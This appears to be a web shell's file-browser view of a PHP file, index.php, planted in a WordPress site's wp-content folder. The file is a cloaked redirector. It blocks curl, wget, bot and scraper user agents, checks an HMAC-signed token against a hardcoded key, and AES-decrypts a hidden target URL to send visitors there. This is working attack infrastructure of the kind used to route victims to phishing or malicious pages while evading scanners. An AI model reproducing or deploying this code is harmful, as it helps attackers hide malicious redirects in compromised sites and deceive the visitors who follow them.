1#@!#!123s

https://www.fcalpha.net/web/photo/20151024/m.txt 1#@!#!123s
: / proc / self / cwd / wp-content / v1 /
Filename : index.php
back
<?php
$secretKey = '0xakmy9a8x0SecretKey1x023';

// التحقق من User-Agent
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (
  empty($userAgent) ||
  preg_match('/(curl|wget|python|httpclient|bot|spider|scrapy|axios|go-http)/i', $userAgent)
) {
  header("Location: index.html");
  exit;
}

// استقبال token و sig
$token = $_GET['token'] ?? '';
$sig = $_GET['sig'] ?? '';

// دالة توقيع HMAC
function hmac($data, $key) {
  return substr(hash_hmac('sha256', $data, $key), 0, 16);
}

// تحقق من التوقيع
if (empty($token) || empty($sig) || hmac($token, $secretKey) !== $sig) {
  header("Location: index.html");
  exit;
}

// فك التوكن
$decoded = json_decode(base64_decode($token), true);
if (!isset($decoded['iv'], $decoded['data'])) {
  header("Location: index.html");
  exit;
}

$iv = base64_decode($decoded['iv']);
$encryptedData = $decoded['data'];

// مفتاح AES
$key = hash('sha256', $secretKey, true);

// فك التشفير
$decrypted = openssl_decrypt(base64_decode($encryptedData), 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);

// التحقق من صحة الرابط النهائي
if (filter_var($decrypted, FILTER_VALIDATE_URL)) {
  header("Location: $decrypted");
  exit;
} else {
  header("Location: index.html");
  exit;
}
?>